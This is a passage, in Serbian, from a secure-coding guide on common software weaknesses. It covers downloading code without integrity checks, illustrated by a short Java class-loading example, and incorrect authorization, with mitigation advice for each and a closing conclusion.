zaštita ukoliko sistem podržava i karakter „\“ kao separator za direktorijume.
Za svaku bezbednosnu proveru koja se vrši na strani klijenta treba obezbediti da se ta
ista provera vrši i na strani servera. Napadači mogu zaobići provere na strani klijenta
promenom vrednosti nakon što su provere izvršene.
Koristiti zaštite za aplikacije koje mogu da detektuju ovakve vrste napada. Ovo može
biti korisno u slučajevima gde se kod ne može lako popraviti.
Kada je skup prihvatljivih objekata, kao što su imena fajlova i url-ovi, ograničen ili
poznat treba osmisliti mapiranje koje vrši preslikavanje iz tog skupa fiksiranih
ulaznih vrednosti u skup stvarnih vrednosti i tako odbijati sve ulaze koji se nisu
odgovarajući.
Obezbediti da poruke o greškama sadrže minimalno detalja koji su od koristi samo
odreĎenim osobama i nikome više. One ne treba da otkriju metode koje su korišćene
u detekciji greške. Takve informacije mogu biti korisne u poboljšanju napada.
Ukoliko koristite PHP treba konfigurisati aplikaciju tako da se ne koriste globalne
promenljive (register_globals)
Preuzimanje koda bez prevere integriteta
Opis
Nije nepoznata stvar to da ukoliko preuzmemo neki kod sa Interneta i pokrenemo ga
mi ustvari verujemo da taj kod nije zarazan (zlonameran). Čak i ukoliko pristupamo samo
sajtovima kojima verujemo, napadači će učiniti sve da izmene taj kod pre nego što doĎe do
nas. Oni mogu, na primer, da preuzmu (hakuju) sajt za preuzimanje podataka i tako naterati
sistem da vrši preusmeravanje na neki drugi sajt i sl. Ovo se može dogoditi i u slučajevima
kada se preuzima sopstveni proizvod. Kada do ovoga doĎe softver će pokrenuti kod koji nije
očekivao, što je loše po nas, a odlično za napadače.
Primer
U ovom primeru učitava se eksterna klasa iz lokalnog poddirektorijuma:
URL[] classURLs= new URL[]{
new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
Ovaj kod ne proverava da li je klasa koja je učitana ona očekivana. Napadač može promeniti
klasu u neki izvršni zlonamerni kod.
Načini rešavanja problema
Proveravati DNS-ove kako bi se otkrile razne obmane
Šifrovati kod pouzdanim algoritmima pre prenosa
Može biti korisno koristiti alate ili zaštite koji vrše proveru integriteta prilikom
preuzimanja koda
Pogrešna autorizacija
Opis
Dok je nedostatak odobrenja pristupa prilično opasan, neodgovarajuća odobrenja
mogu biti jednako problematična. Programeri mogu pokušati da kontrolišu pristup odreĎenim
resursima, ali je to uglavnom implementirano tako da se može zaobići. Na primer, odreĎena
osoba je jednom prilikom bila prijavljena na nekoj web aplikaciji i programeri mogu sačuvati
ovu informaciju u kolačiću. Izmenom kolačića, napadač može pristupiti drugim resursima.
Alternativno, programer može izvršiti autorizaciju isporukom koda koji se izvršava na strani
klijenta, ali napadač može koristiti izmenjenog klijenta koji u potpunosti uklanja proveru.
Načini rešavanja problema
Uveriti se da svoju kontrolu pristupa radite u skladu sa svojom poslovnom logikom
Korišćenje proverenih biblioteka
Kod web aplikacija, proveriti da mehanizam za kontrolu pristupa radi ispravno na
serverskoj strani za svaku stranicu
Koristite mogućnosti kontrole pristupa vašeg operativnog sistema i servera i
definišite svoju listu pristupa u skladu sa njima. Koristiti politiku „podrazumevana
odbijanja“ prilikom definisanja kontrola pristupa
Zaključak
Kao što se vidi iz prethodnog, greške su raznih tipova. Međutim, ono što je zajedničko za njih je to da je potrebno samo malo nepažnje da bi do njih došlo. S druge strane, zajedničko je i to što je, na svu sredu, uglavnom lako njihovo ispravljanje. Ukoliko ih ne ispravimo to često može imati nesagledive posledice, naročito za ozbiljnije softverske projekte. Zbog toga nam ova lista može služiti i kao mali podsetnik, i veliko upozorenje da pazimo prilikom izgradnje softvera. Čak i naizgled najbezazlenije radnje i komande mogu u sebi kriti veoma opasna mesta koja mogu biti zloupotrebljena od onih kojima je posao da zloupotrebljavaju takve nedostatke. Izgradnja softvera de uvek predstavljati borbu između dveju strana, i svaka od tih strana de onu drugu terati da se poboljšava i unapređuje. Ta brorba de trajati bez prestanka.